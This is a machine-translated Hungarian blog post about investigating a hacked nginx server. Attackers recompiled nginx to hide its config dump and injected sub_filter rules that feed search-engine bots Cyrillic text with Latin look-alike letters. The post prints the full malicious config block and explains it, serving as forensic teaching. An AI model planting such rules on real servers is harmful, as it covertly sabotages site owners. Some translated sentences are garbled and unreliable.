Amikor „a” nem egyenlő „a”-val. Egy hack nyomán

Egy nagyon kellemetlen történet történt az egyik barátommal. De amilyen kellemetlennek bizonyult Mikhailnak, ugyanolyan szórakoztató volt számomra.

Azt kell mondanom, hogy a barátom eléggé UNIX-user: maga telepítheti a rendszert mysql, php és végezzen egyszerű beállításokat nginx.
És van egy tucat vagy másfél weboldala az építőipari eszközöknek.

A láncfűrészekkel foglalkozó webhelyek egyike szilárdan a keresőmotorok TOP-jában található. Ez az oldal nem kereskedelmi jellegű lektor, de valaki megszokta, hogy megtámadja. Hogy DDoS, majd brute force, akkor obszcén kommenteket írnak és visszaéléseket küldenek a tárhelynek és az RKN-nek.
Hirtelen minden megnyugodott, és kiderült, hogy ez a nyugalom nem jó, és az oldal fokozatosan elhagyta a keresési eredmények felső sorait.

Amikor „a” nem egyenlő „a”-val. Egy hack nyomán

Ez egy mondás volt, aztán maga az adminisztrátor meséje.

Már közeledett a lefekvés, amikor megszólalt a telefon: „San, nem nézel meg a szerveremet? Nekem úgy tűnik, hogy feltörtek, nem tudom bizonyítani, de az érzés a harmadik hete sem hagy el. Talán itt az ideje, hogy paranoiás kezelést kapjak?

Ezután egy félórás vita következett, ami a következőképpen foglalható össze:

  • a hackelés talaja meglehetősen termékeny volt;
  • a támadó szuperfelhasználói jogokat szerezhet;
  • a támadás (ha megtörtént) kifejezetten ezt a webhelyet célozta;
  • a problémás területeket kijavították, és csak meg kell értenie, hogy történt-e behatolás;
  • a feltörés nem befolyásolhatja a webhely kódját és az adatbázisokat.

Ami az utolsó pontot illeti.

Amikor „a” nem egyenlő „a”-val. Egy hack nyomán

Csak a fehér frontend IP néz ki a világba. A backendek és a frontend között nincs csere, kivéve a http(k)et, a felhasználók/jelszavak eltérőek, kulcsot nem cseréltek. A szürke címeken a 80/443 kivételével minden port zárva van. A fehér háttér IP-címeket csak két felhasználó ismeri, akikben Mikhail teljes mértékben megbízik.

Az előlapra telepítve Debian 9 és mire a hívás megtörténik, a rendszert egy külső tűzfal elszigeteli a világtól és leállítja.

„Oké, adj hozzáférést” – határozom el, hogy elhalasztom az alvást egy órára. – Meglátom a saját szememmel.

Itt és tovább:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Lehetséges hack keresése

Először elindítom a szervert mentési mód. Felteszem a lemezeket és átlapozom hitelesítés-rönkök, történelem, rendszernaplók stb., ha lehet, megnézem a fájl létrehozásának dátumait, bár megértem, hogy egy normális cracker "felsöpört" volna maga után, és Misha már sokat "letaposott" miközben kereste magát .

Normál módban indítom, még nem igazán értem, hogy mit kell keresni, tanulmányozom a konfigokat. Először is az érdekel nginx mivel általában nincs más a frontenden rajta kívül.
A konfigok kicsik, jól felépítettek egy tucat fájlba, csak átnézem őket macska'ó egytől egyig. Úgy tűnik, minden tiszta, de sosem tudhatod, kihagytam-e valamit tartalmaz, hadd készítsek egy teljes listát:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Nem értettem: "Hol van a lista?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

A lista kérdéséhez egy második kérdés is hozzáadódik: „Miért az nginx ilyen ősi változata?”

Ezenkívül a rendszer úgy véli, hogy a legújabb verzió telepítve van:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

hívom:
- Misha, miért raktál össze? nginx?
- Várj, nem is tudom, hogyan kell ezt csinálni!
-Oké, menj aludni...

nginx egyértelműen átépítették, és a lista kimenete a „-T” használatával okkal el van rejtve. A hackeléshez már nem fér kétség, egyszerűen elfogadhatod, és (mivel Misha amúgy is kicserélte a szervert egy újra) a problémát megoldottnak tekintheted.

És valóban, mióta valaki megkapta a jogokat gyökér'ah, csak akkor van értelme megtenni rendszer újratelepítése, és felesleges volt ott keresgélni, hogy mi a baj, de ezúttal a kíváncsiság legyőzte az alvást. Hogyan tudhatjuk meg, mit akartak eltitkolni előlünk?

Próbáljuk meg követni:

$ strace nginx -T

Megnézzük, egyértelműen nincs elég sor a nyomban a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Csak a szórakozás kedvéért hasonlítsuk össze a leleteket.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Szerintem a kód egy része /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

formába hozták:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

vagy

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

ezért a "-T" jelzés nem jelenik meg.

De hogyan nézhetjük meg a konfigurációnkat?

Ha a gondolatom helyes és a probléma csak a változóban van ngx_dump_config segítségével próbáljuk meg telepíteni gdb, szerencsére van kulcs --with-cc-opt -g jelen és remélem, hogy az optimalizálás -O2 nekünk nem fog fájni. Ugyanakkor, mivel nem tudom, hogyan ngx_dump_config be lehetne dolgozni "T" eset:, ezt a blokkot nem hívjuk meg, hanem a használatával telepítjük "t" eset:

Miért használhatja a "-t" és a "-T" karaktereket?Blokkfeldolgozás if(ngx_dump_config) belül történik if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Természetesen, ha a kódot ebben a részben módosítják és nem "T" eset:, akkor a módszerem nem fog működni.

Az nginx.conf teszteléseA probléma kísérleti megoldása után megállapították, hogy a rosszindulatú program működéséhez minimális konfigurációra van szükség nginx típus:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

A cikkben a rövidség kedvéért használjuk.

Indítsa el a hibakeresőt

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

A lépések:

  • állítson be egy töréspontot a függvényben fő()
  • indítsa el a programot
  • változtassa meg a konfig kimenetét meghatározó változó értékét ngx_dump_config=1
  • a program folytatása/befejezése

Amint látjuk, a valódi konfig eltér a miénktől, kiválasztunk belőle egy parazita darabot:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Nézzük meg sorban, mi történik itt.

Eltökélt User-Agenta yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

A szolgáltatási oldalak nem tartoznak ide wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

És azoknak, akik mindkét fenti feltételnek megfelelnek

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

a szövegben html- változnak az oldalak "O" on „O” и "A" on „a”:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Így van, az egyetlen finomság az 'a' != 'a' szintén 'o'!= 'o':

Amikor „a” nem egyenlő „a”-val. Egy hack nyomán

Így a keresőrobotok a normál 100%-ban cirill betűs szöveg helyett latinnal hígított módosított szemetet kapnak. „a” и „O”. Arról nem merek beszélni, hogy ez hogyan érinti a SEO-t, de nem valószínű, hogy egy ilyen betűzavar pozitív hatással lesz a keresési eredményekben elfoglalt pozíciókra.

Mit mondjak, fantáziájú srácok.

referenciák

Hibakeresés GDB-vel
gdb(1) – Linux kézikönyvoldal
strace(1) – Linux kézikönyvoldal
Nginx – ngx_http_sub_module modul
Fűrészekről, láncfűrészekről és elektromos fűrészekről

Forrás: will.com

Hozzászólás